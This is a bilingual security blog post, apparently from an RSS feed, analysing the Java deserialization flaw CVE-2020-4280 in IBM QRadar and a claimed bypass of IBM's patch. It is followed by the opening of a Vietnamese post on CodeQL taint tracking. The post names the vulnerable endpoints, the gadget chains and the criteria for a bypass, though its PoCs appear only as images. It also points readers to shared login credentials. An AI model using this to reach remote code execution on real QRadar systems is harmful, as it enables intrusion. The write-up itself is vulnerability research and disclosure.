Last week, there was an IBM Qradar SIEM Java Deser bug rele...]]></description><link>https://testanull.com/cve-2020-4280-ibm-qradar-java-deserialization-anlysis-and-bypass-c3fe57207057</link><guid isPermaLink="true">https://testanull.com/cve-2020-4280-ibm-qradar-java-deserialization-anlysis-and-bypass-c3fe57207057</guid><dc:creator><![CDATA[Jang]]></dc:creator><pubDate>Tue, 20 Oct 2020 12:23:18 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1624241871786/FE5Q_M8K3.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>[Tiếng Việt phía dưới]</p>
<p>It’s been a while since last blog post,
Partly because of work, another is I have lost motivation to write :(, so there is no more writing since the project until now.
Last week, there was an IBM Qradar SIEM Java Deser bug released — CVE-2020–4280 (details at: <a target="_blank" href="https://www.securify.nl/advisory/java-deserialization-vulnerability-in-qradar-remotejavascript-servlet">https://www.securify.nl/advisory/java-deserialization-vulnerability-in-qradar-remotejavascript-servlet</a> ). Right into the product I am using for several months now, so let take a look at it!</p>
<p><strong>#SETUP</strong>
Previously, I mistakenly thought that Qradar only had Enterprise version, until I read the detailed blog about this bug that it actually has a Community Edition.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1624241797232/7iO5KwQot.plain" alt /></p>
<p>The CE version can be downloaded at: <a target="_blank" href="https://developer.ibm.com/qradar/ce/">https://developer.ibm.com/qradar/ce/</a>
If it required login, you can use the shared credentials at: <a target="_blank" href="http://bugmenot.com/view/idaas.iam.ibm.com">http://bugmenot.com/view/idaas.iam.ibm.com</a> (I also use it with oracle.com).</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1624241798833/vVkNChhiL.png" alt /></p>
<p>There is only version 7.3.3 for Community Edition, as far as I experience and known, Enterprise Edition is currently using version 7.4.1.
After logging in, IBM will download an ova file to import into VMWare / Virtual Box.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1624241800606/sTQBk5qzX.png" alt /></p>
<p>The install is also quite simple, only takes a little time, you can refer to the setup guide at: <a target="_blank" href="https://kifarunix.com/how-to-install-ibm-qradar-ce-v7-3-1-on-">https://kifarunix.com/how-to-install-ibm-qradar-ce-v7-3-1-on-</a> virtualbox /</p>
<ul>
<li><em>During the setup process, sometimes there will be some minor errors, if you stuck, you can inbox to exchange!</em></li>
</ul>
<p>Similar to what I did with weblogic or liferay, to debug Qradar, I find all the libraries in WEB-INF and import into IntellIJ.
There is a deadly note that Qradar is running on IBM Java, completely different from the usual Oracle Java.
In order to debug, you must choose the correct Project SDK, which is IBM Java 1.8 (can be downloaded here: <a target="_blank" href="https://www.ibm.com/support/pages/java-sdk-downloads">https://www.ibm.com/support/pages/java-sdk-downloads</a>).
(If you do not select the correct SDK, when debugging will jump around without understanding why this happen …=))) )</p>
<p><strong>#Root Cause</strong></p>
<p>Based on the author’s blog post, we can identify the vulnerability located in the <em>RemoteJavaScript </em>servlet with the servlet-name as <em>remoteMethod</em>.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1624241802151/Umyx2Pswo.png" alt /></p>
<p>In qradar, the following url-patterns are handled by remoteMethod:</p>
<ul>
<li><p>/remoteJavaScript</p>
</li>
<li><p>/remoteMethod</p>
</li>
<li><p>/JSON-RPC</p>
</li>
<li><p>/JSON-RPC/*</p>
</li>
</ul>
<p>This remoteMethod feature works like this:</p>
<ul>
<li><p>From the method body or the query param, this entrypoint takes in the parameters “<em>method</em>”, “<em>params</em>”, “<em>QRadarCSRF</em>”, ….</p>
</li>
<li><p>From the parameter “<em>method</em>”, <strong><em>appName </em></strong>and <strong><em>methodName </em></strong>are extracted as follows: <strong><em>appName </em></strong>+ “.” + <strong><em>methodName </em></strong>= <strong>method</strong>, for example: <strong><em>Qradar.getSavedSearch</em></strong></p>
</li>
<li><p>If the <em>methodName </em>of <em>appName </em>exists the <em>method </em>will be called!</p>
</li>
</ul>
<p>Rough speaking, a sample request looks like this:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1624241803720/s8Ph4s9dE.png" alt /></p>
<p>The method is recognized here:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1624241805285/D_C0TwvoK.png" alt /></p>
<p>At line 309/311, the method is called with the passed parameters:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1624241806902/EM9gHyM_7.png" alt /></p>
<p>At <em>ExportedMethod.call()</em>, the parameters continue to be passed to <em>ReflectionUtils.stringsToObjects()</em> for further processing,</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1624241808394/_ff98JMG_.png" alt="ExportedMethod.call()" /><em>ExportedMethod.call()</em></p>
<p>The chain behind <em>ReflectionUtils.stringsToObjects()</em> is long, but in short this is where the data is deserialized!
To sum up, the Chain from source to sink as follows (T_T hope you can recognize my writing):</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1624241810363/eFFxqH8kw.png" alt /></p>
<p>However, not all params reach <em>SerializationUtils.deserialize()</em>.
For parameters with simple types such as <em>String</em>, <em>integer</em>, <em>long</em>, …, there will be separate processing parts, not going to the deserialize() branch.
Only parameters with complex types, eg: <em>Map&lt;HostInfo&gt;</em>, are passed <em>deserialize() </em>for further processing.
These exported-methods are declared in <strong>/opt/qradar/conf/appconfig/&lt;app&gt;-exported_methods.xml</strong> together with classes handling that method, method name, params name.</p>
<p>For example, with the method that the author used to attack in the PoC of CVE-2020–4280 is:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1624241812188/cs_RBldG4.png" alt /></p>
<pre><code><span class="hljs-tag">&lt;<span class="hljs-name">exportedMethod</span> <span class="hljs-attr">exposeToJMX</span>=<span class="hljs-string">"false"</span> <span class="hljs-attr">readOnly</span>=<span class="hljs-string">"true"</span> <span class="hljs-attr">parameterNames</span>=<span class="hljs-string">"**changedSettings**"</span> <span class="hljs-attr">className</span>=<span class="hljs-string">"com.q1labs.assetprofilerconfiguration.ui.util.AssetProfilerConfig"</span> <span class="hljs-attr">methodCode</span>=<span class="hljs-string">"974337442"</span> <span class="hljs-attr">methodName</span>=<span class="hljs-string">"**validateChangesAssetConfiguration**"</span> <span class="hljs-attr">appName</span>=<span class="hljs-string">"**qradar**"</span>/&gt;</span>
</code></pre><p>In the processing class, we can see that the method <em>Qradar.validateChangesAssetConfiguration()</em> has <strong><em>changedSettings </em></strong>parameter. This parameter is of type <strong><em>List&lt;AssetProfilerChanges&gt;</em></strong>:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1624241813753/_6qwO-PDM.png" alt /></p>
<p>In the author’s original PoC, there’s a somewhat cumbersome handle:
Use the Jython1 gadget to enable the <strong>console.enableExecuteCommand</strong> -&gt; property then call <strong>Qradar.executeCommand()</strong>.</p>
<p>I have another way to deal more succinctly that is to use a custom version of ROME gadget to execute and response to the body, the PoC result is as follows:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1624241815331/4vUdixaTv.png" alt /></p>
<p><strong>#The Patch</strong></p>
<p>After testing the PoC, I also started trying to patch it too.
The patch can be downloaded here:</p>
<ul>
<li><p><a target="_blank" href="https://www.ibm.com/support/fixcentral/swg/downloadFixes?parent=IBM%20Security&amp;product=ibm/Other+software/IBM+Security+QRadar+SIEM&amp;release=7.4.0&amp;platform=Linux&amp;function=fixId&amp;fixids=7.4.1-QRADAR-QRSIEM-20200915010309&amp;includeRequisites=1&amp;includeSupersedes=0&amp;downloadMethod=http&amp;login=true">7.4.1 Patch 1</a></p>
</li>
<li><p><a target="_blank" href="https://www.ibm.com/support/fixcentral/swg/downloadFixes?parent=IBM%20Security&amp;product=ibm/Other+software/IBM+Security+QRadar+Vulnerability+Manager&amp;release=All&amp;platform=All&amp;function=fixId&amp;fixids=7.3.3-QRADAR-QRSIEM-20200929154613&amp;includeRequisites=1&amp;includeSupersedes=0&amp;downloadMethod=http&amp;login=true">7.3.3 Patch 5</a></p>
</li>
</ul>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1624241817062/7uZXVPKmT.png" alt /></p>
<p>Applying the patch is also quite simple, IBM already has a guide, just follow it and finish, although it takes a little while.
It is true that after the patch, the exploit is not successful anymore,</p>
<p>¯_(ツ)_/¯ of course.
Getting all the new library and doing some diff, there is a few big changes in the library, eg: <strong><em>ReflectionUtils.stringToObject()</em></strong> has been changed, adding a few lines to check the deserialized data,
Old <em>ReflectionUtils.stringToObject() </em>:</p>
<p><img src="https://cdn-images-1.medium.com/max/2000/0*N2bBwnitQomErpir.png" alt="[https://cdn.hashnode.com/res/hashnode/image/upload/v1624241819023/W4ZFGojRZ.html](https://cdn.hashnode.com/res/hashnode/image/upload/v1624241856789/eB8Hfvo8v.html)" /><em><a target="_blank" href="https://gist.github.com/testanull/86a214d3db3ea6be33796b8e74fb8da4">https://gist.github.com/testanull/86a214d3db3ea6be33796b8e74fb8da4</a></em></p>
<p><em>New ReflectionUtils.stringToObject():</em></p>
<p><img src="https://cdn-images-1.medium.com/max/2000/0*iQYO6OYTeWCa83XE.png" alt="[https://cdn.hashnode.com/res/hashnode/image/upload/v1624241820881/IUOcTmvoo.html](https://cdn.hashnode.com/res/hashnode/image/upload/v1624241858475/MVsdj7Tv4.html)" /><em><a target="_blank" href="https://gist.github.com/testanull/6d52769c6704770c76359f3d56946ba2">https://gist.github.com/testanull/6d52769c6704770c76359f3d56946ba2</a></em></p>
<p>The change can be seen quite clearly, there has been a class <strong><em>ValidatingObjectInputStream </em></strong>to filter the classes that are allowed to deserialize, with the following whitelist:</p>
<ul>
<li><p>org.postgresql.util.*</p>
</li>
<li><p>com.q1labs.*</p>
</li>
<li><p>java.lang.*</p>
</li>
<li><p>java.util.*</p>
</li>
<li><p>gnu.trove.*</p>
</li>
</ul>
<p>However, this branch only handles parameters of type other than <strong><em>Map</em></strong>:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1624241822238/Eeq-nugSS.png" alt /></p>
<p>In the last <strong><em>else </em></strong>branch of the processing code, the data continues to be decode base64 and deserialized as usual:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1624241823703/W_d12dFGj.png" alt /></p>
<p>That means, if you find a method with param type = <strong><em>Map</em></strong>, then you can bypass this patch and deserialize to RCE!<strong><em> (1)</em></strong>
Leave it here, and continue looking at the IBM patch, another big change can be seen in <em>/opt/qradar/appconfig/qradar-exported_methods.xml</em>.
Some exported methods have been removed in new config file:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1624241825273/V5gq1xJon.png" alt /></p>
<p>The exported methods that have been deleted are:</p>
<ul>
<li><p>qradar.validateChangesAssetConfiguration() -&gt; in original PoC</p>
</li>
<li><p>qradar.getSecurityState()</p>
</li>
<li><p>qradar.getVulnerabilityState()</p>
</li>
<li><p>qradar.getNetworkSecuritySummary()</p>
</li>
<li><p>qradar.getRssFeedItem()</p>
</li>
<li><p>qradar.getDataPoints()</p>
</li>
<li><p>qradar.executeCommand()</p>
</li>
</ul>
<p>After checking again, most of these methods have params that can be used to deserialize,
That explains why when using the old PoC to exploit, the result will be a blank page with response = 200, which means the method no longer exists:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1624241826903/IWJGYQaSe.png" alt /></p>
<p>Set the breakpoint on line 195 of <em>RemoteJavaScript </em>to see more clearly, the method now returns null because it is no longer declared in the config file:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1624241828688/kUQoWVt84.png" alt /></p>
<p>That is what IBM did to fix this vulnerability, however there are still 439 exported methods in the config file:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1624241830185/ms2wtqsoj.png" alt /></p>
<p>Combined with the necessary condition <strong><em>(1)</em></strong>, just find a new method, and easily bypass the patch of CVE-2020–4280 and get RCE!</p>
<p>Here is the PoC of the bypass:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1624241831933/7IYNV_GFf.png" alt /></p>
<p>.</p>
<p>.</p>
<p>That’s all</p>
<p>Thanks for reading!</p>
<p><em>Jang</em></p>
<p>[<strong>Vietnamese version</strong>]</p>
<p>Cũng đã khá lâu kể từ lần cuối viết lách,</p>
<p>Phần là vì công việc khá nhiều, phần nữa là dạo này bị mất cảm hứng để viết :(, nên là ko còn viết gì nữa từ lúc xong đồ án tới giờ.</p>
<p>Tuần vừa rồi có 1 bug Java Deser của IBM Qradar SIEM được release — CVE-2020–4280 (chi tiết tại: <a target="_blank" href="https://www.securify.nl/advisory/java-deserialization-vulnerability-in-qradar-remotejavascript-servlet">https://www.securify.nl/advisory/java-deserialization-vulnerability-in-qradar-remotejavascript-servlet</a>). Lại đúng vào product mấy tháng nay mình hay dùng nên tiện tay mổ xẻ xem sao!</p>
<p><strong>#SETUP</strong></p>
<p>Trước đây, mình đã tưởng lầm rằng Qradar chỉ có Enterprise version, tới khi đọc blog chi tiết về bug này thì mới biết thực ra nó còn có 1 Community Edition nữa.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1624241833753/j9FFn2iHH.png" alt /></p>
<p>Bản CE các bạn có thể download tại: <a target="_blank" href="https://developer.ibm.com/qradar/ce/">https://developer.ibm.com/qradar/ce</a>/</p>
<p>Nếu như yêu cầu login, các bạn có thể sử dụng các shared credential tại: <a target="_blank" href="http://bugmenot.com/view/idaas.iam.ibm.com">http://bugmenot.com/view/idaas.iam.ibm.com</a> (mình cũng dùng với oracle.com)</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1624241835301/gZOJ_fOPV.png" alt /></p>
<p>Chỉ có phiên bản 7.3.3 cho Community Edition, theo như mình trải nghiệm và được biết thì Enterprise Edition hiện đang sử dụng version 7.4.1.</p>
<p>Sau khi login vào thì IBM sẽ cho down 1 file ova để về import vào VMWare/Virtual Box.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1624241836825/-40PE9Gbc.png" alt /></p>
<p>Việc install cũng khá đơn giản, chỉ hơi tốn thời gian chút, có thể tham khảo setup guide tại: <a target="_blank" href="https://kifarunix.com/how-to-install-ibm-qradar-ce-v7-3-1-on-virtualbox/">https://kifarunix.com/how-to-install-ibm-qradar-ce-v7-3-1-on-virtualbox/</a></p>
<ul>
<li><em>Trong quá trình setup đôi khi cũng sẽ xảy ra 1 số lỗi vặt, nếu các bạn stuck thì có thể inbox mình để trao đổi!</em></li>
</ul>
<p>Tương tự như đã làm với weblogic or liferay, để debug Qradar thì mình tìm tất cả các library có trong WEB-INF và import vào IntellIJ.</p>
<p>Có 1 lưu ý chết người đó là Qradar đang chạy trên IBM Java, hoàn toàn khác với Oracle Java thông thường vẫn sử dụng.</p>
<p>Để việc debug được suôn sẻ, trong setting của project đang debug phải chọn đúng Project SDK là IBM Java 1.8 (có thể download tại đây: <a target="_blank" href="https://www.ibm.com/support/pages/java-sdk-downloads">https://www.ibm.com/support/pages/java-sdk-downloads</a>).</p>
<p>(<em>Nếu không chọn đúng SDK thì khi debug sẽ bị nhảy lung tung mà không hiểu tại sao =)))</em> )</p>
<p><strong>#Root Cause</strong></p>
<p>Dựa vào blog post của tác giả, ta có thể xác định lỗ hổng nằm tại servlet <em>RemoteJavaScript </em>với servlet-name là remoteMethod</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1624241838310/6K3eKZY2-.png" alt /></p>
<p>Trong qradar, các url-pattern sau được handle bởi remoteMethod:</p>
<ul>
<li><p>/remoteJavaScript</p>
</li>
<li><p>/remoteMethod</p>
</li>
<li><p>/JSON-RPC</p>
</li>
<li><p>/JSON-RPC/*</p>
</li>
</ul>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1624241839818/jWcL5oEHm.png" alt /></p>
<p>Tính năng remoteMethod này hoạt động như sau:</p>
<ul>
<li><p>Từ method body hoặc query param, entrypoint này nhận vào các tham số “<em>method</em>”, “<em>params</em>”, “<em>QRadarCSRF</em>”, ….</p>
</li>
<li><p>Từ tham số “method”, appName và methodName được tách ra như sau: appName + “.” + methodName = method, ví dụ: Qradar.getSavedSearch</p>
</li>
<li><p>Nếu methodName của appName tồn tại method sẽ được gọi!</p>
</li>
</ul>
<p>Nói thì dài, 1 request mẫu có dạng như sau:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1624241841434/f4xdfytYb.png" alt /></p>
<p>Method được xác định tại đây:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1624241842889/pBOM-kVKk.png" alt /></p>
<p>Tại dòng 309/311, method được call với các param đã truyền vào</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1624241844480/Agoqz1sUS.png" alt /></p>
<p>Tại <em>ExportedMethod.call()</em>, các param tiếp tục được truyền vào <em>ReflectionUtils.stringsToObjects()</em> để xử lý,</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1624241846063/chHFFVDaB.png" alt="ExportedMethod.call()" /><em>ExportedMethod.call()</em></p>
<p>Chain phía sau ReflectionUtils.stringsToObjects() còn dài, nhưng có thể nói ngắn gọn đây chính là nơi dữ liệu được deserialize!</p>
<p>Chốt lại là Chain từ source tới sink như sau (T_T chữ xấu, các bạn thông cảm):</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1624241847863/0rd3AuJ-9.png" alt /></p>
<p>Tuy nhiên, không phải param nào cũng tới được <em>SerializationUtils.deserialize().</em></p>
<p>Đối với các param có type đơn giản như: String, integer, long, … thì sẽ có các phần xử lý riêng, không đi vào nhánh deserialize().</p>
<p>Chỉ với các param có type phức tạp, ví dụ: <em>Map&lt;HostInfo&gt;,</em> mới được truyền vào deserialize() để xử lý tiếp.</p>
<p>Các exported-method này được khai báo trong /opt/qradar/conf/appconfig/&lt;app&gt;-exported_methods.xml kèm với các class xử lý method đó, method name, params name. Ví dụ như với method mà tác giả đã sử dụng để attack trong PoC của CVE-2020-xxxx là:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1624241849922/Fj4WJbSpp.png" alt /></p>
<pre><code><span class="hljs-tag">&lt;<span class="hljs-name">exportedMethod</span> <span class="hljs-attr">exposeToJMX</span>=<span class="hljs-string">"false"</span> <span class="hljs-attr">readOnly</span>=<span class="hljs-string">"true"</span> <span class="hljs-attr">parameterNames</span>=<span class="hljs-string">"**changedSettings**"</span> <span class="hljs-attr">className</span>=<span class="hljs-string">"com.q1labs.assetprofilerconfiguration.ui.util.AssetProfilerConfig"</span> <span class="hljs-attr">methodCode</span>=<span class="hljs-string">"974337442"</span> <span class="hljs-attr">methodName</span>=<span class="hljs-string">"**validateChangesAssetConfiguration**"</span> <span class="hljs-attr">appName</span>=<span class="hljs-string">"**qradar**"</span>/&gt;</span>
</code></pre><p>Mò vào class xử lý, có thể thấy method <em>Qradar.validateChangesAssetConfiguration()</em> có param là <strong><em>changedSettings. </em></strong>Param này có kiểu <em>List&lt;AssetProfilerChanges&gt;:</em></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1624241851267/JLwUOwnE_.png" alt /></p>
<p>Trong PoC gốc của tác giả thì có xử lý hơi cồng kềnh:</p>
<p>Dùng gadget Jython1 để enable property <em>console.enableExecuteCommand</em> -&gt; sau đó gọi Q<em>radar.executeCommand().</em></p>
<p>Mình có cách khác xử lý ngắn gọn hơn đó là sử dụng custom lại gadget ROME để execute và response luôn ra body, kết quả PoC được như sau:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1624241853176/invrxsuEl.png" alt /></p>
<p>Và đương nhiên là PoC cũng sẽ ko đc cung cấp theo bài này ¯_(ツ)_/¯, có làm mới có ăn …</p>
<p><strong>#The Patch</strong></p>
<p>Sau khi thử nghiệm xong PoC thì mình cũng bắt đầu thử vá luôn xem sao.</p>
<p>Bản vá có thể down tại đây:</p>
<ul>
<li><p><a target="_blank" href="https://www.ibm.com/support/fixcentral/swg/downloadFixes?parent=IBM%20Security&amp;product=ibm/Other+software/IBM+Security+QRadar+SIEM&amp;release=7.4.0&amp;platform=Linux&amp;function=fixId&amp;fixids=7.4.1-QRADAR-QRSIEM-20200915010309&amp;includeRequisites=1&amp;includeSupersedes=0&amp;downloadMethod=http&amp;login=true">7.4.1 Patch 1</a></p>
</li>
<li><p><a target="_blank" href="https://www.ibm.com/support/fixcentral/swg/downloadFixes?parent=IBM%20Security&amp;product=ibm/Other+software/IBM+Security+QRadar+Vulnerability+Manager&amp;release=All&amp;platform=All&amp;function=fixId&amp;fixids=7.3.3-QRADAR-QRSIEM-20200929154613&amp;includeRequisites=1&amp;includeSupersedes=0&amp;downloadMethod=http&amp;login=true">7.3.3 Patch 5</a></p>
</li>
</ul>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1624241854940/pwyhDl4Aa.png" alt /></p>
<p>Apply patch thì cũng khá đơn giản, IBM đã có sẵn guide tại <a target="_blank" href="https://www.ibm.com/support/knowledgecenter/SS42VS_7.3.3/com.ibm.qradar.doc/b_qradar_upgrade.pdf">đây</a>, chỉ việc làm theo là xong, tuy hơi có lâu chút.</p>
<p>Đúng là sau khi patch, exploit không còn hoạt động nữa, ¯_(ツ)_/¯ đương nhiên rồi.</p>
<p>Kéo lib về để diff patch thì thấy có 1 số thay đổi lớn như sau, ReflectionUtils.stringToObject() đã có thay đổi, thêm 1 vài dòng để kiểm tra dữ liệu được deserialize,</p>
<p><em>ReflectionUtils.stringToObject() </em>cũ:</p>
<p><img src="https://cdn-images-1.medium.com/max/2000/1*C4iv3hLIBH4vrsyuwjRk2w.png" alt="[https://gist.github.com/testanull/86a214d3db3ea6be33796b8e74fb8da4](https://gist.github.com/testanull/86a214d3db3ea6be33796b8e74fb8da4)" /><em><a target="_blank" href="https://gist.github.com/testanull/86a214d3db3ea6be33796b8e74fb8da4">https://gist.github.com/testanull/86a214d3db3ea6be33796b8e74fb8da4</a></em></p>
<p><em>ReflectionUtils.stringToObject()</em> mới:</p>
<p><img src="https://cdn-images-1.medium.com/max/2000/1*szrR1wXelg62zASv5huqSQ.png" alt="[https://gist.github.com/testanull/6d52769c6704770c76359f3d56946ba2](https://gist.github.com/testanull/6d52769c6704770c76359f3d56946ba2)" /><em><a target="_blank" href="https://gist.github.com/testanull/6d52769c6704770c76359f3d56946ba2">https://gist.github.com/testanull/6d52769c6704770c76359f3d56946ba2</a></em></p>
<p>Có thể thấy thay đổi khá rõ ràng, đã có thêm class <em>ValidatingObjectInputStream </em>để filter các class được phép deserialize, với whitelist là:</p>
<ul>
<li><p>org.postgresql.util.*</p>
</li>
<li><p>com.q1labs.*</p>
</li>
<li><p>java.lang.*</p>
</li>
<li><p>java.util.*</p>
</li>
<li><p>gnu.trove.*</p>
</li>
</ul>
<p>Tuy nhiên nhánh này chỉ xử lý các param có kiểu <strong>không phải là Map:</strong></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1624241860063/vM4vqhgYi.png" alt /></p>
<p>Trong nhánh else cuối cùng của đoạn code xử lý, dữ liệu vẫn tiếp tục được decode base64 và deserialize như bình thường:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1624241861576/Kh6LTp67z.png" alt /></p>
<p>Điều đó có nghĩa là, nếu như tìm được 1 method có param type = Map, thì tiếp tục có thể bypass bản vá này và deserialize to RCE! <strong><em>(1)</em></strong></p>
<p>Tạm thời dừng ở đó, tiếp tục soi bản vá của IBM, có thể thấy sự thay đổi lớn trong <em>/opt/qradar/appconfig/qradar-exported_methods.xml.</em></p>
<p>Một vài exported methods đã bị xóa bỏ trong file config mới:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1624241863310/TC0KP8F21.png" alt /></p>
<p>Các exported methods đã bị xóa là:</p>
<ul>
<li><p>qradar.validateChangesAssetConfiguration() -&gt; trong PoC gốc của tác giả</p>
</li>
<li><p>qradar.getSecurityState()</p>
</li>
<li><p>qradar.getVulnerabilityState()</p>
</li>
<li><p>qradar.getNetworkSecuritySummary()</p>
</li>
<li><p>qradar.getRssFeedItem()</p>
</li>
<li><p>qradar.getDataPoints()</p>
</li>
<li><p>qradar.executeCommand()</p>
</li>
</ul>
<p>Sau khi check lại 1 lượt thì đa số các method này đều có param có thể bị lợi dụng để deserialize,</p>
<p>Điều đó lý giải tại sao khi sử dụng PoC cũ để exploit, kết quả trả về sẽ là 1 trang trắng với response = 200, nghĩa là method không còn tồn tại nữa:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1624241864912/Or-OM4vYH.png" alt /></p>
<p>Đặt breakpoint tại dòng 195 của RemoteJavaScript để thấy rõ hơn, method lúc này đã trả về null do không còn được khai báo trong file config nữa:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1624241866748/pIe7oqBH2.png" alt /></p>
<p>Đó là những gì IBM đã làm để vá lại lỗ hổng này, tuy nhiên vẫn còn tới 439 exported methods trong file config</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1624241868317/cVxECZN8q.png" alt /></p>
<p>Kết hợp với điều kiện cần <strong><em>(1) </em></strong>thì chỉ cần tìm ra 1 method nào đó mới,</p>
<ul>
<li><p>Được khai báo trong qradar-exported_methods.xml</p>
</li>
<li><p>Không yêu cầu cấp quyền cao</p>
</li>
<li><p>Có method param là dạng <strong>Map&lt;&gt;</strong></p>
</li>
</ul>
<p>=&gt; Bypass CVE-2020–4280</p>
<p>Mình đã tìm ra 1 vài method thỏa mãn điều kiện và bypass thành công bản vá:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1624241869993/AMiJXlTXg.png" alt /></p>
<p>Hôm trước mình có report cho vendor nhưng có vẻ như họ không quan tâm lắm, do vậy mình quyết định public bài này với dạng nửa vời.</p>
<p>Phần PoC bypass CVE-2020–4280 này dành lại cho các bạn researcher quan tâm có thể tự tìm ra, mình tin là với những dữ liệu đã cung cấp thì việc tìm ra nó chỉ trong vài giờ đồng hồ setup lab thôi.</p>
<p>Cảm ơn các bạn đã đón đọc!</p>
<p><em>Jang</em></p>
]]></content:encoded></item><item><title><![CDATA[CodeQL thần chưởng [part 2]]]></title><description><![CDATA[Chào mọi người, mình đã quay trở lại với part 2 đây.
Nếu bạn chưa đọc thì nên đọc qua part 1 trước khi bước vào part 2 này, link bài viết tại đây: https://medium.com/@testbnull/codeql-th%E1%BA%A7n-ch%C6%B0%E1%BB%9Fng-part-1-544a2b0df9d7
Trong phần tr...]]></description><link>https://testanull.com/codeql-than-chuong-part-2-3254c9bfe27c</link><guid isPermaLink="true">https://testanull.com/codeql-than-chuong-part-2-3254c9bfe27c</guid><dc:creator><![CDATA[Jang]]></dc:creator><pubDate>Wed, 27 May 2020 03:44:34 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1624241686451/Mb4Th9hh7.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>Chào mọi người, mình đã quay trở lại với part 2 đây.</p>
<p>Nếu bạn chưa đọc thì nên đọc qua part 1 trước khi bước vào part 2 này, link bài viết tại đây: <a target="_blank" href="https://medium.com/@testbnull/codeql-th%E1%BA%A7n-ch%C6%B0%E1%BB%9Fng-part-1-544a2b0df9d7">https://medium.com/@testbnull/codeql-th%E1%BA%A7n-ch%C6%B0%E1%BB%9Fng-part-1-544a2b0df9d7</a></p>
<p>Trong phần trước, mình đang dừng lại ở đoạn tìm ra các method call tới JSONFactoryUtil.deserialize(String):</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1624241649215/Vep8m0LmA.png" alt /></p>
<p>Tuy nhiên như vậy là chưa đủ để trace được từ input tới phần code xảy ra lỗi.</p>
<p>Trong part 2 này mình sẽ viết về TaintTracking, DataFlow tracking, 1 chức năng trong CodeQL cho phép trace data từ phần input cho tới phần bị lỗi, hay còn được gọi là từ source tới sink!</p>
<p>Sẽ có rất nhiều thứ mới mẻ trong phần này nên khuyến cáo bạn đọc hãy đội mũ bảo hiểm vào =)))</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1624241651018/_bsMGG1YA.jpeg" alt /></p>
<p>###########################################</p>
<p>Để track tainted data từ source tới sink thì CodeQL cung cấp 1 phương pháp đó là Global Taint Tracking (<a target="_blank" href="https://help.semmle.com/QL/learn-ql/java/dataflow.html#using-global-taint-tracking">https://help.semmle.com/QL/learn-ql/java/dataflow.html#using-global-taint-tracking</a>)</p>
<p>Đầu tiên là tạo 1 class, có thừa kế từ TaintTracking::Configuration, có dạng như sau:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1624241652635/yUWbGufHK.png" alt /></p>
<p>Với:</p>
<ul>
<li><p>predicate isSource() dùng để chứa các công thức/ định nghĩa cho source data/ điểm bắt đầu trace tainted data</p>
</li>
<li><p>Tương tự với isSink() dùng để xác định sink, điểm kết thúc trace tainted data</p>
</li>
</ul>
<p><strong>#Xác định source/sink</strong></p>
<p>Xem lại bug liferay json deserialization to RCE (tại đây: <a target="_blank" href="https://www.facebook.com/notes/nguy%E1%BB%85n-ti%E1%BA%BFn-giang/liferay-story-part-4-v%C3%A0-nh%E1%BB%AFng-c%C3%BA-l%E1%BB%ABa-/2408844002562884/">https://www.facebook.com/notes/nguy%E1%BB%85n-ti%E1%BA%BFn-giang/liferay-story-part-4-v%C3%A0-nh%E1%BB%AFng-c%C3%BA-l%E1%BB%ABa-/2408844002562884/</a>) thì có thể thấy được stacktrace tới bug như sau:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1624241654034/vFfS_LhoX.jpeg" alt /></p>
<p>=&gt; Điểm bắt đầu của bug là PollerServlet.service(), và kết thúc tại JSONFactoryImpl.deserialize().</p>
